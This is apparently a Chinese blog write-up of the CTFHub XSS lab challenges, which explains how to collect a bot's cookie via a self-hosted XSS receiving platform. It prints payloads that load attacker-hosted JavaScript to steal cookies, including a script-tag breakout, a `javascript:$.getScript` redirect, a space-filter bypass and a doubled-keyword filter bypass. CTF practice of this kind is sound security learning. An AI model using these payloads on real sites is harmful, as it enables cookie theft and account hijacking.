当前位置:首页 » 《关注互联网》 » 正文

CTFHub技能树web之XSS

21 人参与  2024年05月08日 13:01  分类 : 《关注互联网》  评论

点击全文阅读


在XSS系列的题目中,由于需要使用能够接受XSS数据的平台,并且由于使用的是CTFHub的模拟机器人点击我们的虚假URL,因此使用的XSS平台不能是自己本地搭建的,如果是本地的模拟点击的机器人将无法访问我们给的这个URL地址,也就无法接收到我们想要的数据了,因此想解决本系列的题目,可以通过在线XSS平台或者自己使用服务器搭建一个XSS平台。

由于在线XSS平台需要收费,想起自己有一个一直没用的阿里云轻量服务器,就自己搭建了一个XSS平台。如果想做这个系列的题目,可以自己搭建一个XSS接受平台或者是用在线的平台。

第一题:反射型

首先验证是否存在XSS漏洞,在上面的框中输入,页面正常回显,说明存在XSS漏洞利用

 使用蓝莲花BLUE-LOTUS的XSS接收平台能够生成payload,直接复制粘贴到第一个框中并上传,将上传后的url复制粘贴到第二个框中并点击上传,就可以收到XSS的数据了,flag就在cookie中

第二题:存储型

打开靶场,和第一题一样将payload粘贴到第一个框中并点击上传

上传后将当前url粘贴到第二个框中,点击发送

在XSS平台接收面板中即可看到数据内容,flag仍然在cookie中

第三题: DOM反射

根据第一个框中的内容在源码中查看对应的位置

可以看到可控的位置在53-55行中的这个位置,先闭合前面的单引号和<script>,然后再用一个<script>输入XSS代码,构造语句如下';</script><script src=http://xx.xx.xx.xx/xss/myjs/default.js//

第四题:DOM跳转

根据题目代码分析,当传入的参数为jumpto的时候会跳转到相应的页面,利用

javascript:$.getScript语法可以传入自己的XSS平台地址实现XSS,构造语句如下?jumpto=javascript:$.getScript("//xx.xx//xx")

第五题:过滤空格

将payload中空格用/**/代替,即可成功XSS

第六题:过滤关键词

可以使用经典的双写绕过方法进行绕过

<script src="http://xx.xx.xx.xx/xss/myjs/default.js"></script>

改为<sscriptcript src="http://xx.xx.xx.xx/xss/myjs/default.js"></sscriptcript>,当开头和结尾的script被检测出并删除后剩下的字母仍然可以拼成一个script并实现XSS


点击全文阅读


本文链接:http://m.zhangshiyu.com/post/105119.html

<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 老公骗我给青梅捐肝节选隐藏剧情入口‌_「雯雯楚砚北林琳」小说免费在线阅读
  • 衔棠夜烬照骨行花魁裴景行全衔棠夜烬照骨行花魁裴景行全免费
  • (番外)+(全书)云本无心风起意:全书+后续(傅璟林妍)完结_(傅璟林妍)列表_笔趣阁(云本无心风起意:全书+后续)
  • (番外)+(全书)许雾林清也(爱如骄阳显化万物:全书+后续+结局)_许雾林清也免费列表_笔趣阁(爱如骄阳显化万物:全书+后续+结局)
  • 母亲节看了儿子的优秀作文后,我杀疯了精彩章节试读_「宋岩婆婆母亲节」小说节选试读
  • 确诊癌症当天,陆总抱绿茶官宣温迎陆谨川免费确诊癌症当天,陆总抱绿茶官宣温迎陆谨川免费免费
  • 宋怀宁段祁年:全书+后续+结局(宋怀宁段祁年)列表_宋怀宁段祁年:全书+后续+结局(宋怀宁段祁年)全书+后续+结局在线
  • 爱你在星光坠落之前:结局+番外(时以桉沈柠初)全书免费爱你在星光坠落之前:结局+番外读_(爱你在星光坠落之前:结局+番外时以桉沈柠初免费爱你在星光坠落之前:结局+番外读全书)列表_笔趣阁(爱你在星光坠落之前:结局+番外)
  • 遗忘在迷雾散尽时全书沈怀洲在线
  • 周旭阳姜月周若风(若风拂面泪满裳)全书免费周旭阳姜月周若风(若风拂面泪满裳)全书免费
  • 云本无心风起意:结局+番外(傅璟林妍)云本无心风起意:结局+番外结局_傅璟林妍列表_笔趣阁(云本无心风起意:结局+番外)
  • 顾宸陆曼曼(偏偏吻过最痛的风)鹿可鹿可

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1